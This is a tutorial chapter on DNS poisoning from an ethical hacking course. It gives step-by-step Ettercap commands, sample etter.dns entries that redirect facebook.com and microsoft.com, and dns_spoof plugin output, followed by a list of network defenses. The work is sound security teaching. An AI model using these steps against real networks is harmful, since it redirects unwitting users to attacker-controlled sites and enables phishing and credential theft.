Ethical Hacking - DNS Poisoning

DNS Poisoning is a technique that tricks a DNS server into believing that it has received authentic information when, in reality, it has not. It results in the substitution of false IP address at the DNS level where web addresses are converted into numeric IP addresses. It allows an attacker to replace IP address entries for a target site on a given DNS server with IP address of the server controls. An attacker can create fake DNS entries for the server which may contain malicious content with the same name.

For instance, a user types www.google.com, but the user is sent to another fraud site instead of being directed to Google's servers. As we understand, DNS poisoning is used to redirect the users to fake pages which are managed by the attackers.

DNS Poisoning − Exercise

Let's do an exercise on DNS poisoning using the same tool, **Ettercap**.

DNS Poisoning is quite similar to ARP Poisoning. To initiate DNS poisoning, you have to start with ARP poisoning, which we have already discussed in the previous chapter. We will use **DNS spoof** plugin which is already there in Ettercap.

Step 1 − Open up the terminal and type "nano etter.dns". This file contains all entries for DNS addresses which is used by Ettercap to resolve the domain name addresses. In this file, we will add a fake entry of "Facebook". If someone wants to open Facebook, he will be redirected to another website.

```
root@kali:~# locate etter.dns
/etc/ettercap/etter.dns
root@kali:~# nano /etc/ettercap/etter.dns
```

Step 2 − Now insert the entries under the words "Redirect it to www.linux.org". See the following example −

```
# redirect it to www.linux.org
#
www.facebook.com    A   216.58.199.174
*.facebook.com      A   216.58.199.174
www.facebook.com    PTR 216.58.199.174

microsoft.com       A   107.170.40.56
*.microsoft.com     A   107.170.40.56
www.microsoft.com   PTR 107.170.40.56      # Wildcards in PTR are not allowed
```

Step 3 − Now save this file and exit by saving the file. Use "ctrl+x" to save the file.

Step 4 − After this, the whole process is same to start ARP poisoning. After starting ARP poisoning, click on "plugins" in the menu bar and select "dns_spoof" plugin.

Step 5 − After activating the DNS_spoof, you will see in the results that facebook.com will start spoofed to Google IP whenever someone types it in his browser.

```
Activating dns_spoof plugin...
dns_spoof: A [staticxx.facebook.com] spoofed to [216.58.199.174]
dns_spoof: A [www.facebook.com] spoofed to [216.58.199.174]
dns_spoof: A [pixel.facebook.com] spoofed to [216.58.199.174]
```

It means the user gets the Google page instead of facebook.com on their browser.

In this exercise, we saw how network traffic can be sniffed through different tools and methods. Here a company needs an ethical hacker to provide network security to stop all these attacks. Let's see what an ethical hacker can do to prevent DNS Poisoning.

Defenses against DNS Poisoning

As an ethical hacker, your work could very likely put you in a position of prevention rather than pen testing. What you know as an attacker can help you prevent the very techniques you employ from the outside.

Here are defenses against the attacks we just covered from a pen tester's perspective −

- Use a hardware-switched network for the most sensitive portions of your network in an effort to isolate traffic to a single segment or collision domain.
- Implement IP DHCP Snooping on switches to prevent ARP poisoning and spoofing attacks.
- Implement policies to prevent promiscuous mode on network adapters.
- Be careful when deploying wireless access points, knowing that all traffic on the wireless network is subject to sniffing.
- Encrypt your sensitive traffic using an encrypting protocol such as SSH or IPsec.
- Port security is used by switches that have the ability to be programmed to allow only specific MAC addresses to send and receive data on each port.
- IPv6 has security benefits and options that IPv4 does not have.
- Replacing protocols such as FTP and Telnet with SSH is an effective defense against sniffing. If SSH is

not a viable solution, consider protecting older legacy protocols with IPsec.

- Virtual Private Networks (VPNs) can provide an effective defense against sniffing due to their encryption aspect.
- SSL is a great defense along with IPsec.

Summary

In this chapter, we discussed how attackers can capture and analyze all the traffic by placing a packet sniffer in a network. With a real-time example, we saw how easy it is to get the credentials of a victim from a given network. Attackers use MAC attacks, ARP and DNS poisoning attacks to sniff the network traffic and get hold of sensitive information such as email conversations and passwords.